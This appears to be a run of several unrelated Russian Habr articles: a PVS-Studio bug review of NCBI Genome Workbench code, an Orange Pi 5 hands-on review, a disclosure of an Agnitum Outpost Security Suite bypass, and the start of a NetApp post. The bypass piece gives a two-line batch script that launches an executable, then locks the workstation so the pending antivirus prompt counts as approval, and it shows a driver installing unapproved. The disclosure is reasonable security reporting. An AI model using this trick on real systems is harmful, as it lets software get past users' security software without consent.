То был не единственный пример с комментариями про «безопасность». Судя по комментариям, можно предположить, что безопасность действительно важна для проекта. Поэтому прилагаю весь не маленький список выявленных проблем:
* V597 The compiler could delete the 'memset' function call, which is used to flush 'heap' object. The memset\_s() function should be used to erase the private data. ncbi\_heapmgr.c 1300
* V597 The compiler could delete the 'memset' function call, which is used to flush 'context' object. The memset\_s() function should be used to erase the private data. challenge.c 167
* V597 The compiler could delete the 'memset' function call, which is used to flush 'ks' object. The memset\_s() function should be used to erase the private data. challenge.c 339
* V597 The compiler could delete the 'memset' function call, which is used to flush 'md5\_ctx' object. The memset\_s() function should be used to erase the private data. challenge.c 353
* V597 The compiler could delete the 'memset' function call, which is used to flush 'hash' buffer. The memset\_s() function should be used to erase the private data. challenge.c 365
* V597 The compiler could delete the 'memset' function call, which is used to flush 'ks' object. The memset\_s() function should be used to erase the private data. challenge.c 406
* V597 The compiler could delete the 'memset' function call, which is used to flush 'ntlm\_v2\_response' object. The memset\_s() function should be used to erase the private data. login.c 795
* V597 The compiler could delete the 'memset' function call, which is used to flush 'answer' object. The memset\_s() function should be used to erase the private data. login.c 801
* V597 The compiler could delete the 'memset' function call, which is used to flush 'packet' buffer. The memset\_s() function should be used to erase the private data. numeric.c 256
* V597 The compiler could delete the 'memset' function call, which is used to flush 'packet' buffer. The memset\_s() function should be used to erase the private data. numeric.c 110
* V597 The compiler could delete the 'memset' function call, which is used to flush 'pwd' buffer. The memset\_s() function should be used to erase the private data. getpassarg.c 50
* V597 The compiler could delete the 'memset' function call, which is used to flush 'context' object. The memset\_s() function should be used to erase the private data. challenge.c 188
* V597 The compiler could delete the 'memset' function call, which is used to flush 'buf' buffer. The memset\_s() function should be used to erase the private data. challenge.c 243
* V597 The compiler could delete the 'memset' function call, which is used to flush 'ntlm\_v2\_hash' buffer. The memset\_s() function should be used to erase the private data. challenge.c 309
* V597 The compiler could delete the 'memset' function call, which is used to flush 'md5\_ctx' object. The memset\_s() function should be used to erase the private data. challenge.c 354
* V597 The compiler could delete the 'memset' function call, which is used to flush 'passwd\_buf' buffer. The memset\_s() function should be used to erase the private data. challenge.c 380
* V597 The compiler could delete the 'memset' function call, which is used to flush 'ks' object. The memset\_s() function should be used to erase the private data. challenge.c 393
* V597 The compiler could delete the 'memset' function call, which is used to flush 'hash' buffer. The memset\_s() function should be used to erase the private data. challenge.c 394
* V597 The compiler could delete the 'memset' function call, which is used to flush 'ntlm2\_challenge' buffer. The memset\_s() function should be used to erase the private data. challenge.c 395
* V597 The compiler could delete the 'memset' function call, which is used to flush 'ks' object. The memset\_s() function should be used to erase the private data. challenge.c 419
* V597 The compiler could delete the 'memset' function call, which is used to flush 'ntlm\_v2\_response' object. The memset\_s() function should be used to erase the private data. challenge.c 556
Подозрительные циклы
--------------------
[V534](https://www.viva64.com/ru/w/v534/) It is likely that a wrong variable is being compared inside the 'for' operator. Consider reviewing 'i'. taxFormat.cpp 569
```
void CTaxFormat::x_LoadTaxTree(void)
{
....
for(size_t i = 0; i < alignTaxids.size(); i++) {
int tax_id = alignTaxids[i];
....
for(size_t j = 0; i < taxInfo.seqInfoList.size(); j++) {
SSeqInfo* seqInfo = taxInfo.seqInfoList[j];
seqInfo->taxid = newTaxid;
}
....
}
....
}
```
Я думаю, в условие внутреннего цикла переменная *i* затесалась случайно. Вместо неё должна использоваться переменная *j*.
[V535](https://www.viva64.com/ru/w/v535/) The variable 'i' is being used for this loop and for the outer loop. Check lines: 302, 309. sls\_alp.cpp 309
```
alp::~alp()
{
....
if(d_alp_states)
{
for(i=0;i<=d_nalp;i++) // <=
{
if(i<=d_alp_states->d_dim)
{
if(d_alp_states->d_elem[i])
{
for(i=0;i<=d_nalp;i++) // <=
{
....
....
}
```
Два вложенных одинаковых цикла, в которых ещё и обнуляется глобальный счётчик — выглядят ну очень подозрительно. Разработчикам следует проверить, что тут вообще происходит.
Ненормальная индексация массивов
--------------------------------
[V520](https://www.viva64.com/ru/w/v520/) The comma operator ',' in array index expression '[-- i2, — k]'. nw\_spliced\_aligner16.cpp 564
```
void CSplicedAligner16::x_DoBackTrace (
const Uint2* backtrace_matrix, CNWAligner::SAlignInOut* data,
int i_global_max, int j_global_max)
{
....
while(intron_length < m_IntronMinSize || (Key & donor) == 0) {
Key = backtrace_matrix[--i2, --k];
++intron_length;
data->m_transcript.push_back(eTS_Intron);
}
....
}
```
Сразу скажу, что ошибки тут вроде нет (пока, lol). Рассмотрим следующую строку:
```
Key = backtrace_matrix[--i2, --k];
```
Слово 'matrix' и двойная индексация могут навести на мысль, что массив двумерный, но это не так. Это обычный указатель на массив целых чисел. Но диагностика [V520](https://www.viva64.com/ru/w/v520/) не просто так появилась. Программисты действительно путаются в способах индексации двумерных массивов.
В данном случае автор просто решил сэкономить на одной строке кода, хотя мог написать так:
```
--i2;
Key = backtrace_matrix[--k];
```
[V661](https://www.viva64.com/ru/w/v661/) A suspicious expression 'A[B == C]'. Probably meant 'A[B] == C'. ncbi\_service\_connector.c 180
```
static EHTTP_HeaderParse s_ParseHeader(const char* header, ....)
{
....
if (sscanf(header, "%u.%u.%u.%u%n", &i1, &i2, &i3, &i4, &n) < 4
|| sscanf(header + n, "%hu%x%n", &uuu->port, &tkt, &m) < 2
|| (header[m += n] && !(header[m] == '$') &&
!isspace((unsigned char)((header + m)
[header[m] == '$'])))) {
break/*failed - unreadable connection info*/;
}
....
}
```
Ещё один пример кода, в котором я долго пытался понять, что происходит :D. Функцией *isspace()* проверяется символ с индексом *m*, но если этот символ '$', то в функцию передаётся символ с индексом *m + 1*. При этом сравнение с '$' уже было заранее. Возможно, ошибки тут нет, но код точно можно переписать понятнее.
[V557](https://www.viva64.com/ru/w/v557/) Array overrun is possible. The 'row' index is pointing beyond array bound. aln\_reader.cpp 412
```
bool CAlnReader::x_IsGap(TNumrow row, TSeqPos pos, const string& residue)
{
if (m_MiddleSections.size() == 0) {
x_CalculateMiddleSections();
}
if (row > m_MiddleSections.size()) {
return false;
}
if (pos < m_MiddleSections[row].first) {
....
}
....
}
```
Вот тут присутствует серьёзная ошибка. Правильная проверка индекса *row* должна быть такой:
```
if (row >= m_MiddleSections.size()) {
return false;
}
```
Иначе возможно обращение к данным за пределами вектора *MiddleSections*.
Ещё много таких мест:
* V557 Array overrun is possible. The 'i' index is pointing beyond array bound. resource\_pool.hpp 388
* V557 Array overrun is possible. The 'row' index is pointing beyond array bound. aln\_reader.cpp 418
* V557 Array overrun is possible. The 'fmt\_idx' index is pointing beyond array bound. seq\_writer.cpp 384
* V557 Array overrun is possible. The 'fmt\_idx' index is pointing beyond array bound. blastdb\_formatter.cpp 183
* V557 Array overrun is possible. The 'num' index is pointing beyond array bound. newcleanupp.cpp 13035
Как заработать недоверие к функциям
-----------------------------------
[V570](https://www.viva64.com/ru/w/v570/) The 'm\_onClickFunction' variable is assigned to itself. alngraphic.hpp 103
```
void SetOnClickFunctionName(string onClickFunction) {
m_onClickFunction = m_onClickFunction;
}
```
Вот тут даже прокомментировать нечего. Можно только посочувствовать человеку, который на что-то кликал, кликал, но ничего не менялось.
Ещё два случая присваивания переменных самим себе приведу списком:
* V570 The 'iter->level' variable is assigned to itself. align\_format\_util.cpp 189
* V570 The 'd\_elements\_values[ind]' variable is assigned to itself. sls\_alp\_data.cpp 1416
[V763](https://www.viva64.com/ru/w/v763/) Parameter 'w1' is always rewritten in function body before being used. bmfunc.h 5363
```
/// Bit COUNT functor
template struct bit\_COUNT
{
W operator()(W w1, W w2)
{
w1 = 0;
BM\_INCWORD\_BITCOUNT(w1, w2);
return w1;
}
};
```
Функция, в которой перетирается аргумент сразу при входе в функцию, может вводить в заблуждение использующих её разработчиков. Код следует перепроверить.
Ошибки при проектировании классов
---------------------------------
[V688](https://www.viva64.com/ru/w/v688/) The 'm\_qsrc' function argument possesses the same name as one of the class members, which can result in a confusion. compart\_matching.cpp 873
```
class CElementaryMatching: public CObject
{
....
ISequenceSource * m_qsrc;
....
void x_CreateIndex (ISequenceSource *m_qsrc, EIndexMode index_more, ....);
void x_CreateRemapData(ISequenceSource *m_qsrc, EIndexMode mode);
void x_LoadRemapData (ISequenceSource *m_qsrc, const string& sdb);
....
};
```
Сразу 3 функции класса содержат аргументы, имена которых совпадают с полем класса. Это может приводить к ошибкам в телах функций: программист может думать, что работает с членом класса, на самом деле изменяя значение локальной переменной.
[V614](https://www.viva64.com/ru/w/v614/) Uninitialized variable 'm\_BitSet' used. SnpBitAttributes.hpp 187
```
/// SNP bit attribute container.
class CSnpBitAttributes
{
public:
....
private:
/// Internal storage for bits.
Uint8 m_BitSet;
};
inline CSnpBitAttributes::CSnpBitAttributes(Uint8 bits) : m_BitSet(bits)
{
}
inline CSnpBitAttributes::CSnpBitAttributes(const vector& octet\_string)
{
auto count = sizeof(m\_BitSet);
auto byte = octet\_string.end();
do
m\_BitSet = (m\_BitSet << 8) | \*--byte;
while (--count > 0);
}
```
Один из конструкторов неаккуратно работает с переменной *m\_BitSet*. Дело в том, что переменная неинициализированная. Её «мусорное» значение используется на первой итерации цикла, после чего происходит инициализация. Это очень серьёзная ошибка, приводящая к неопределённому поведению программы.
[V603](https://www.viva64.com/ru/w/v603/) The object was created but it is not being used. If you wish to call constructor, 'this->SIntervalComparisonResult::SIntervalComparisonResult(....)' should be used. compare\_feats.hpp 100
```
//This struct keeps the result of comparison of two exons
struct SIntervalComparisonResult : CObject
{
public:
SIntervalComparisonResult(unsigned pos1, unsigned pos2,
FCompareLocs result, int pos_comparison = 0)
: m_exon_ordinal1(pos1), m_exon_ordinal2(pos2),
m_result(result), m_position_comparison(pos_comparison) {}
SIntervalComparisonResult()
{
SIntervalComparisonResult(0, 0, fCmp_Unknown, 0);
}
....
};
```
Очень давно я не встречал таких ошибок при проверке проектов. Но проблема всё ещё актуальна. Ошибка в том, что вызов параметризированного конструктора таким образом приводит к созданию и удалению временного объекта. А поля класса остаются неинициализированными. Вызывать другой конструктор следует через список инициализации (см. [Delegating constructor](https://en.cppreference.com/w/cpp/language/initializer_list)).
[V591](https://www.viva64.com/ru/w/v591/) Non-void function should return a value. bio\_tree.hpp 266
```
/// Recursive assignment
CBioNode& operator=(const CBioNode& tree)
{
TParent::operator=(tree);
TBioTree* pt = (TBioTree*)tree.GetParentTree();
SetParentTree(pt);
}
```
Анализатор считает, что в перегруженном операторе не хватает строки:
```
return *this;
```
[V670](https://www.viva64.com/ru/w/v670/) The uninitialized class member 'm\_OutBlobIdOrData' is used to initialize the 'm\_StdOut' member. Remember that members are initialized in the order of their declarations inside a class. remote\_app.hpp 215
```
class NCBI_XCONNECT_EXPORT CRemoteAppResult
{
public:
CRemoteAppResult(CNetCacheAPI::TInstance netcache_api,
size_t max_inline_size = kMaxBlobInlineSize) :
m_NetCacheAPI(netcache_api),
m_RetCode(-1),
m_StdOut(netcache_api, m_OutBlobIdOrData, m_OutBlobSize),
m_OutBlobSize(0),
m_StdErr(netcache_api, m_ErrBlobIdOrData, m_ErrBlobSize),
m_ErrBlobSize(0),
m_StorageType(eBlobStorage),
m_MaxInlineSize(max_inline_size)
{
}
....
};
```
На этот фрагмент кода выдаётся сразу 3 предупреждения анализатора. Поля класса инициализируются не в том порядке, в котором перечислены в списке инициализации, а в том, как объявлены в классе. Классическая причина ошибки в том, что не все программисты помнят или знают об этом правиле. Здесь и в списке инициализации как раз неверный порядок. Складывается ощущение, что список полей вводили в случайном порядке.
[V746](https://www.viva64.com/ru/w/v746/) Object slicing. An exception should be caught by reference rather than by value. cobalt.cpp 247
```
void
CMultiAligner::SetQueries(const vector< CRef >& queries)
{
....
try {
seq\_loc->SetId(\*it->GetSeqId());
}
catch (objects::CObjMgrException e) {
NCBI\_THROW(CMultiAlignerException, eInvalidInput,
(string)"Missing seq-id in bioseq. " + e.GetMsg());
}
m\_tQueries.push\_back(seq\_loc);
....
}
```
Перехват исключений по значению может приводить к потере части информации об исключении из-за создания нового объекта. Намного лучше и безопасней перехватывать исключение по ссылке.
Аналогичные места:
* V746 Object slicing. An exception should be caught by reference rather than by value. agp\_validate\_reader.cpp 562
* V746 Object slicing. An exception should be caught by reference rather than by value. aln\_build\_app.cpp 320
* V746 Object slicing. An exception should be caught by reference rather than by value. aln\_test\_app.cpp 458
* V746 Object slicing. An exception should be caught by reference rather than by value. cobalt.cpp 691
* V746 Object slicing. An exception should be caught by reference rather than by value. cobalt.cpp 719
* V746 Object slicing. An exception should be caught by reference rather than by value. cobalt.cpp 728
* V746 Object slicing. An exception should be caught by reference rather than by value. cobalt.cpp 732
О недостижимом коде и других проблемах выполнения кода
------------------------------------------------------
[V779](https://www.viva64.com/ru/w/v779/) Unreachable code detected. It is possible that an error is present. merge\_tree\_core.cpp 627
```
bool CMergeTree::x_FindBefores_Up_Iter(....)
{
....
FirstFrame->Curr = StartCurr;
FirstFrame->Returned = false;
FirstFrame->VisitCount = 0;
FrameStack.push_back(FirstFrame);
while(!FrameStack.empty()) {
....
if(Rel == CEquivRange::eAfter) {
Frame->Returned = false;
FrameStack.pop_back();
continue;
}
else if(Rel == CEquivRange::eBefore) {
....
continue;
}
else {
if(Frame->VisitCount == 0) {
....
continue;
} else {
....
continue;
}
}
Frame->Returned = false; // <=
FrameStack.pop_back();
continue;
} // end stack loop
FirstFrame->ChildFrames.clear();
return FirstFrame->Returned;
}
```
Код условного оператора написан так, что абсолютно все ветви кода заканчиваются оператором *continue*. Это привело к тому, что в цикле *while* образовались несколько строк недостижимого кода. Выглядят эти строки очень подозрительно. Скорее всего, такая проблема возникла после рефакторинга кода, и теперь тут требуется внимательный code-review.
[V519](https://www.viva64.com/ru/w/v519/) The 'interval\_width' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 454, 456. aln\_writer.cpp 456
```
void CAlnWriter::AddGaps(....)
{
....
switch(exon_chunk->Which()) {
case CSpliced_exon_chunk::e_Match:
interval_width = exon_chunk->GetMatch();
case CSpliced_exon_chunk::e_Mismatch:
interval_width = exon_chunk->GetMismatch();
case CSpliced_exon_chunk::e_Diag:
interval_width = exon_chunk->GetDiag();
genomic_string.append(....);
product_string.append(....);
genomic_pos += interval_width;
product_pos += interval_width/res_width;
break;
....
}
....
}
```
Переменная *interval\_width* перезаписывается несколько раз, т.к. в ветках *case* отсутствуют операторы *break*. Хоть и классическая, но очень нехорошая ошибка.
Ещё несколько подозрительных мест:
* V779 Unreachable code detected. It is possible that an error is present. dbapi\_driver\_utils.cpp 351
* V779 Unreachable code detected. It is possible that an error is present. net.c 780
* V779 Unreachable code detected. It is possible that an error is present. bcp.c 1495
* V779 Unreachable code detected. It is possible that an error is present. remote\_blast.cpp 1470
* V779 Unreachable code detected. It is possible that an error is present. remote\_blast.cpp 1522
[V571](https://www.viva64.com/ru/w/v571/) Recurring check. The 'if (m\_QueryOpts->filtering\_options)' condition was already verified in line 703. blast\_options\_local\_priv.hpp 713
```
inline void
CBlastOptionsLocal::SetFilterString(const char* f)
{
....
if (m_QueryOpts->filtering_options) // <=
{
SBlastFilterOptions* old_opts = m_QueryOpts->filtering_options;
m_QueryOpts->filtering_options = NULL;
SBlastFilterOptionsMerge(&(m_QueryOpts->filtering_options),
old_opts, new_opts);
old_opts = SBlastFilterOptionsFree(old_opts);
new_opts = SBlastFilterOptionsFree(new_opts);
}
else
{
if (m_QueryOpts->filtering_options) // <=
m_QueryOpts->filtering_options =
SBlastFilterOptionsFree(m_QueryOpts->filtering_options);
m_QueryOpts->filtering_options = new_opts;
new_opts = NULL;
}
....
}
```
Очевидно, ветвь *else* требует переписывания. У меня есть несколько идей, что хотели сделать с указателем *m\_QueryOpts->filtering\_options*, но код всё равно какой-то запутанный. Взываю к авторам кода.
Ну и проблема не приходит одна:
* V571 Recurring check. The 'if (sleeptime)' condition was already verified in line 205. request\_control.cpp 208
* V571 Recurring check. The 'if (assignValue.empty())' condition was already verified in line 712. classstr.cpp 718
Ошибки чтения данных
--------------------
[V739](https://www.viva64.com/ru/w/v739/) EOF should not be compared with a value of the 'char' type. The 'linestring[0]' should be of the 'int' type. alnread.c 3509
```
static EBool
s_AfrpInitLineData(
....
char* linestring = readfunc (pfile);
....
while (linestring != NULL && linestring [0] != EOF) {
s_TrimSpace (&linestring);
....
}
....
}
```
Символы, которые планируется сравнивать с EOF, не должны храниться в переменных типа *char*. Иначе есть риск, что символ со значением 0xFF (255) превратится в -1 и будет интерпретироваться точно так же, как конец файла (EOF). Также (на всякий случай) стоит проверить реализацию функции *readfunc*.
[V663](https://www.viva64.com/ru/w/v663/) Infinite loop is possible. The 'cin.eof()' condition is insufficient to break from the loop. Consider adding the 'cin.fail()' function call to the conditional expression. ncbicgi.cpp 1564
```
typedef std::istream CNcbiIstream;
void CCgiRequest::Serialize(CNcbiOstream& os) const
{
....
CNcbiIstream* istrm = GetInputStream();
if (istrm) {
char buf[1024];
while(!istrm->eof()) {
istrm->read(buf, sizeof(buf));
os.write(buf, istrm->gcount());
}
}
}
```
Анализатор обнаружил потенциальную ошибку, из-за которой может возникнуть бесконечный цикл. В случае возникновения сбоя при чтении данных вызов функции *eof()* будет всегда возвращать значение *false*. Для завершения цикла в этом случае необходима дополнительная проверка значения, возвращаемого функцией *fail()*.
Разные ошибки
-------------
[V502](https://www.viva64.com/ru/w/v502/) Perhaps the '?:' operator works in a different way than it was expected. The '?:' operator has a lower priority than the '&&' operator. ncbi\_connutil.c 1135
```
static const char* x_ClientAddress(const char* client_host,
int/*bool*/ local_host)
{
....
if ((client_host == c && x_IsSufficientAddress(client_host))
|| !(ip = *c && !local_host
? SOCK_gethostbyname(c)
: SOCK_GetLocalHostAddress(eDefault))
|| SOCK_ntoa(ip, addr, sizeof(addr)) != 0
|| !(s = (char*) malloc(strlen(client_host) + strlen(addr) + 3))) {
return client_host/*least we can do :-/*/;
}
....
}
```
Обратите внимание на выражение:
```
!local_host ? SOCK_gethostbyname(c) : SOCK_GetLocalHostAddress(eDefault)
```
Оно не вычисляется так, как ожидал программист, потому что всё выражение выглядит так:
```
ip = *c && !local_host ? SOCK_gethostbyname(c) : SOCK_GetLocalHostAddress(...)
```
Приоритет оператора *&&* выше, чем у *?:*. По этой причине код выполняется не так, как задумывалось.
[V561](https://www.viva64.com/ru/w/v561/) It's probably better to assign value to 'seq' variable than to declare it anew. Previous declaration: validator.cpp, line 490. validator.cpp 492
```
bool CValidator::IsSeqLocCorrectlyOrdered(const CSeq_loc& loc, CScope& scope)
{
CBioseq_Handle seq;
try {
CBioseq_Handle seq = scope.GetBioseqHandle(loc);
} catch (CObjMgrException& ) {
// no way to tell
return true;
} catch (const exception& ) {
// no way to tell
return true;
}
if (seq && seq.GetInst_Topology() == CSeq_inst::eTopology_circular) {
// no way to check if topology is circular
return true;
}
return CheckConsecutiveIntervals(loc, scope, x_IsCorrectlyOrdered);
}
```
Из-за того, что программист объявил новую переменную *seq* внутри секции try/catch, другая переменная *seq* остаётся неинициализированной и используется ниже по коду.
[V562](https://www.viva64.com/ru/w/v562/) It's odd to compare a bool type value with a value of 0: (((status) & 0x7f) == 0) != 0. ncbi\_process.cpp 111
```
bool CProcess::CExitInfo::IsExited(void) const
{
EXIT_INFO_CHECK;
if (state != eExitInfo_Terminated) {
return false;
}
#if defined(NCBI_OS_UNIX)
return WIFEXITED(status) != 0;
#elif defined(NCBI_OS_MSWIN)
// The process always terminates with exit code
return true;
#endif
}
```
Ничего не предвещало беды, но WIFEXITED оказался макросом, раскрывающимся таким образом:
```
return (((status) & 0x7f) == 0) != 0;
```
Получается так, что функция возвращает противоположное значение.
В коде нашлась еще одна такая функция, на которую выдалось предупреждение:
* V562 It's odd to compare a bool type value with a value of 0. ncbi\_process.cpp 126
[V595](https://www.viva64.com/ru/w/v595/) The 'dst\_len' pointer was utilized before it was verified against nullptr. Check lines: 309, 315. zlib.cpp 309
```
bool CZipCompression::CompressBuffer(
const void* src_buf, size_t src_len,
void* dst_buf, size_t dst_size,
/* out */ size_t* dst_len)
{
*dst_len = 0;
// Check parameters
if (!src_len && !F_ISSET(fAllowEmptyData)) {
src_buf = NULL;
}
if (!src_buf || !dst_buf || !dst_len) {
SetError(Z_STREAM_ERROR, "bad argument");
ERR_COMPRESS(48, FormatErrorMessage("CZipCompression::CompressBuffer"));
return false;
}
....
}
```
Указатель *dst\_len* разыменовывается в самом начале функции, при этом далее по коду проверяется на равенство нулю. В коде допущена ошибка, которая приводит к неопределённому поведению, если указатель *dst\_len* окажется равен *nullptr*.
[V590](https://www.viva64.com/ru/w/v590/) Consider inspecting the 'ch != '\0' && ch == ' '' expression. The expression is excessive or contains a misprint. cleanup\_utils.cpp 580
```
bool Asn2gnbkCompressSpaces(string& val)
{
....
while (ch != '\0' && ch == ' ') {
ptr++;
ch = *ptr;
}
....
}
```
Условие остановки цикла зависит только от того, является символ *ch* пробелом или нет. Выражение можно упростить до такого:
```
while (ch == ' ') {
....
}
```
Заключение
----------
Использование компьютерных программ в научных исследованиях помогает и будет помогать делать открытия. Будем надеяться, что особо важные из них не будут пропущены из-за какой-нибудь опечатки.
Приглашаю разработчиков проекта NCBI Genome Workbench связаться с нами, и мы предоставим полный отчёт, выданный анализатором PVS-Studio.
Надеюсь, что это небольшое исследование кода поможет исправить многие ошибки и в целом улучшить надёжность проекта. Попробуйте запустить PVS-Studio на коде своих проектов, если ещё не делали этого. Вам может это понравиться :).
[](https://www.viva64.com/en/b/0591/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Svyatoslav Razmyslov. [NCBI Genome Workbench: Scientific Research under Threat](https://www.viva64.com/en/b/0591/) | https://habr.com/ru/post/430476/ | null | ru | null |
# Очень кратенький обзор Orange Pi 5
Всем привет и с наступающим !
Дома живут две raspberry pi 4 на одном из которых живет в DMZ nexcloud + некоторое публичное барахлишко, а на другом home assistant. Есть так же один raspberry pi 3 с octoprint для управления 3д принтера. Брал до. Сейчас цены на малинку вообще не гуманные, тот же dns-shop хочет 17 999 ₽ за 4 с 4 гигами памяти. А тут, в ноябре, анонсы Orange Pi 5 и предзаказы на али и железо мощнее и цена намного ниже. Ну и заказал 8 гиговую версию 22 ноября за 5104,56 ₽ + доставка 756,16 ₽. Отправили 15 декабря, 31 декабря забрал в Саратове на почте, xотя обещали в другой пункт выдачи. Оказалось не страшно, героически пришедших на почту в 9:12 утра 31 декабря было всего трое, даже в очереди стоять не пришлось.
C помощью dd залил на 128 гиговую micro sd карту серверную Ubuntu 22.04 c официального сайта <http://www.orangepi.org/html/hardWare/computerAndMicrocontrollers/service-and-support/Orange-pi-5.html>
```
sudo dd if=/tmp/Orangepi5_1.0.2_ubuntu_jammy_server_linux5.10.110.img \
of=/dev/sde status=progress conv=fsync
```
Потом через parted отресайзил /dev/sde2
Все сразу же загрузилось. `apt upgrade; apt update` прошел без проблем, репы прописаны <http://repo.huaweicloud.com>. Небольшой косяк был с монитором 3440x1440 через HDMI. Консоль внизу заканчивалась где-то гораздо ниже монитора.
Пробовал подключить монитор 2560x1440 через кабель Type-С - DisplayPort, тут все работает норм
Внешний вид полностью соответствует <http://www.orangepi.org/html/hardWare/computerAndMicrocontrollers/details/Orange-Pi-5.html>
Встроенного WiFi нет, но можно воткнуть USB или M2 адаптер
Пробовал воткнуть в M2 порт Samsung 860 EVO [MZ-N6E500BW], ноль реакции, хотя он точно рабочий, через внешний адаптер и Type-C виден и работает. Нашел только одно упоминание что все норм работает вот тут <https://www.reddit.com/r/OrangePI/comments/zliitn/orange_pi_5_2280_nvme_ssd/>. У меня же и `lspci` и `nvme list` пустые, хотя по мануалу lspci должен показывать контроллер. Оказывается работают только SSD с NVMe поддержки которого нет в MZ-N6E500BW. Надо что то вроде Samsung 960 EVO [MZ-V6E250BW]
Ядро - 5.10.110
**Немного DevOpsятины :)**
Docker уже стоял, загрузил minikube и kubectl для arm64, все чудесно работает
```
orangepi@orangepi5:~$ minikube status
minikube
type: Control Plane
host: Running
kubelet: Running
apiserver: Running
kubeconfig: Configured
orangepi@orangepi5:~$ kubectl version
WARNING: This version information is deprecated and will be replaced with the output from kubectl version --short. Use --output=yaml|json to get the full version.
Client Version: version.Info{Major:"1", Minor:"26", GitVersion:"v1.26.0", GitCommit:"b46a3f887ca979b1a5d14fd39cb1af43e7e5d12d", GitTreeState:"clean", BuildDate:"2022-12-08T19:58:30Z", GoVersion:"go1.19.4", Compiler:"gc", Platform:"linux/arm64"}
Kustomize Version: v4.5.7
Server Version: version.Info{Major:"1", Minor:"25", GitVersion:"v1.25.3", GitCommit:"434bfd82814af038ad94d62ebe59b133fcb50506", GitTreeState:"clean", BuildDate:"2022-10-12T10:49:09Z", GoVersion:"go1.19.2", Compiler:"gc", Platform:"linux/arm64"}
orangepi@orangepi5:~$ kubectl get ns
NAME STATUS AGE
default Active 68m
ingress-nginx Active 59m
kube-node-lease Active 68m
kube-public Active 68m
kube-system Active 68m
orangepi@orangepi5:~$ kubectl get nodes -o wide
NAME STATUS ROLES AGE VERSION INTERNAL-IP EXTERNAL-IP OS-IMAGE KERNEL-VERSION CONTAINER-RUNTIME
minikube Ready control-plane 69m v1.25.3 192.168.49.2 Ubuntu 20.04.5 LTS 5.10.110-rockchip-rk3588 docker://20.10.20
```
Проц
```
orangepi@orangepi5:~$ lscpu | head -n 5
Architecture: aarch64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
CPU(s): 8
On-line CPU(s) list: 0-7
```
Память
```
orangepi@orangepi5:~$ free -h
total used free shared buff/cache available
Mem: 7.5Gi 1.0Gi 2.2Gi 46Mi 4.3Gi 6.4Gi
Swap: 3.8Gi 0B 3.8Gi
```
btopПосле 15 минут `stress-ng -c 8` без радиаторов и без обдува самая большая температура на ядрах - 86.8°C. при 24°C в комнате.
```
orangepi@orangepi5:~$ sensors
gpu_thermal-virtual-0
Adapter: Virtual device
temp1: +79.5°C
littlecore_thermal-virtual-0
Adapter: Virtual device
temp1: +84.1°C
bigcore0_thermal-virtual-0
Adapter: Virtual device
temp1: +86.8°C
tcpm_source_psy_6_0022-i2c-6-22
Adapter: rk3x-i2c
in0: 0.00 V (min = +0.00 V, max = +0.00 V)
curr1: 0.00 A (max = +0.00 A)
npu_thermal-virtual-0
Adapter: Virtual device
temp1: +81.3°C
center_thermal-virtual-0
Adapter: Virtual device
temp1: +80.4°C
bigcore1_thermal-virtual-0
Adapter: Virtual device
temp1: +86.8°C
soc_thermal-virtual-0
Adapter: Virtual device
temp1: +83.2°C (crit = +115.0°C)
``` | https://habr.com/ru/post/708766/ | null | ru | null |
# Обход проактивной защиты Agnitum Outpost Security Suite в 2 строчки
Ранее я уже [заявлял об этом](http://www.securitylab.ru/blog/personal/shanker/24993.php) и даже делился видео-демонстрацией, но не раскрывая подробности. К сожалению, Разработчик ~~забил болт~~ так и не отреагировал на моё письмо о проблеме (моё обращение было зарегистрировано 2.10.2012 под номером sb-ru-02-121000048-t). Поэтому я решил показать все технические подробности. Приводимая далее видео демонстрация была впервые показана на [ZeroNights 2012](http://2012.zeronights.ru) в рамках zeroday show.
#### Предыстория
Подобные уязвимости часто находятся случайным образом. Мой случай — не исключение. Как-то раз ~~в 12 часов ночи, в полнолуние~~ поставил себе Outpost Security Suite и настроил проактивку на максимальный режим. При этом режиме даже вставленная новая флешка в систему не примонтируется, пока не разрешить несколько действий во всплывающих окнах антивируса. Однажды при вставке новой флешки как обычно появилось всплывающее окно от антивируса, но я не давал согласия на установку. А привычным образом заблокировал компьютер (клавиш Win+L), покинув его на несколько минут. Каково же было моё удивление, когда вернувшись я выяснил, что флешка-таки примонтировалась в систему! Вот тут и началось самое интересное...
#### Суть проблемы
В режиме обучения проактивная защита Outpost при обнаружении подозрительной активности программы запрашивает действия у пользователя. Но если после вывода такого диалогового сообщения совершается Lock (то, что происходит при нажатии клавиш Win+L) — для антивируса это эквивалентно разрешению.
Автоматизация этого процесса может быть представлена таким вот bat-файлом, состоящим из 2-х строчек:
`start 1.exe`
`ping 127.0.0.1 -n 10 -w 10000 > NULL & rundll32.exe user32.dll,LockWorkStation`
Пинг здесь нужен для задержки ([хотя есть более изящное решение](http://kaktusenok.blogspot.ru/2011/10/delay-sleep-bat-windows.html)), после которой выполнится команда Lock (`rundll32.exe user32.dll,LockWorkStation`).
Т.е запускаем файл 1.exe, ждём несколько секунд (чтоб антивирус вывел окно) и выполняем Lock.
~~Более того, при Lock можно увидеть, как значок антивируса меняется с синего на зелёный. Это означает, что он переходит из режима обучения в режим разрешения (всё что не запрещено — разрешено). Что ослабляет систему защиты. Например, программы, которым явно не запрещено выходить в интернет, будут теперь выходить. После входа в систему значок снова меняется на синий.~~ (**UPD**: Это было в старых версиях (6.0) В последних версиях переходит в режим блокировки, что совершенно не ослабляет защиту. Спасибо [Andersen](https://habrahabr.ru/users/andersen/) за его [замечание на сей счёт](http://habrahabr.ru/post/161393/#comment_5539167))
#### Демонстрация
Суть демонстрации:
1. Проверяем, что в системе нет службы «test test test service» (пытаемся её остановить, на что система отвечает, что такой службы нет)
2. Запускаем bat-файл (который запустит установщик службы)
3. Через [DebugViewer](http://technet.microsoft.com/en-us/sysinternals/bb896647.aspx) видим, что драйвер запустился именно ПОСЛЕ лока системы, а не до
4. Снова пытаемся остановить службу «test test test service». На сей раз успешно.
Проверены на уязвимость следующие версии Agnitum Outpost Security Suite:
1. 7.5.3 (3942.608.1810)
2. 7.6 (3984.693.1842)
**Upd** (18.12.2012) производителем исправлена уязвимость в версии 8.0 (4164.652.1856) от 17 декабря 2012 | https://habr.com/ru/post/161393/ | null | ru | null |
# Netapp — реальность против маркетинга
###### Доброго дня
